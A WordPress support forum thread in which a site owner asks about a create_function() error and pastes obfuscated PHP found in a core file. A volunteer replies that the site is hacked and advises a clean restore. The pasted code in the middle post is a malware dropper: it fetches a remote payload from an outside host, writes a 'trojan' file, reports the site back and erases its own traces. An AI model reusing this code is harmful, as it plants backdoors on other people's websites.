• Hi, I cant access our website again, if I check the debug it shows:

    Deprecated: Function create_function() is deprecated in /home2/kern/Cocreateabetterworld.org/wp-includes/blocks/index.php on line 2

    The page I need help with: [log in to see the link]

Viewing 3 replies - 1 through 3 (of 3 total)
  • The function mentioned in the error message does not exist in the mentioned file. Which WordPress version do you use? I assume it is the current 6.1.1, but I am not sure. If it is this version, I would recommend a re-installation. To do this, go to Updates and click on the Re-Install button. Don’t worry: this will only re-download the WordPress core files. Of course, it would always be advisable to make a backup beforehand.

    Thread Starter annachd

    (@annachd)

    Thanks.How do I do the update if I can’t access the dashboard. Is there any way to replace the index file?

    If I look at it in the cpanel it shows:

    0){die(“delete success”);}die(“delete failed”);}$OO_O__O000=${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30”](“YWJvdXQucGhw”);$O0O_0_O0_O=$O_0_O_OO00[“\x70\x61\x74\x68″].”/”.$OO_O__O000;$OO0O0O0___=@${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f”](${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30”](“aHR0cDovLzUxbGEuaXp2NC5jb20vYS50eHQ=”));$OO0O0O0___=@${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f”]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00[“\x74\x72\x6f\x6a\x61\x6e”]=”https://”.$O_0_O_OO00[“\x64\x6f\x6d\x61\x69\x6e”].”/”.$OO_O__O000;}else{$O_0_O_OO00[“\x74\x72\x6f\x6a\x61\x6e”]=”write failed”;}$OO_0O00O__=sprintf(${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30”](\’aHR0cDovLzUxbGEuaXp2NC5jb20vP2Q9JXM=\’),${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f”](${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f”]($O_0_O_OO00)));$O__OO0O00_=${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f”]($OO_0O00O__);if($O__OO0O00_==”done”){$O0_0OO_O0_=$O_0_O_OO00[“\x70\x61\x74\x68″].”/index.php”;$OO0O0O0___=@${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f”]($O0_0OO_O0_);$O_OO_0_0O0=${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30”](“PFw/cGhwLitcKDFcKTtcPz4=”);$OO0O0O0___=${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f”](“/$O_OO_0_0O0/si”,\’\’,$OO0O0O0___);@${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f”]($O0_0OO_O0_,$OO0O0O0___);}’);${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30”](1);?>

    This looks like a hacked installation. I would recommend you to delete all files as well as the database and use an existing backup for the new setup. Once you have this set up, install any pending updates and also use a security plugin. Also change all access to your hosting.

Viewing 3 replies - 1 through 3 (of 3 total)
  • The topic ‘function deprecated website error’ is closed to new replies.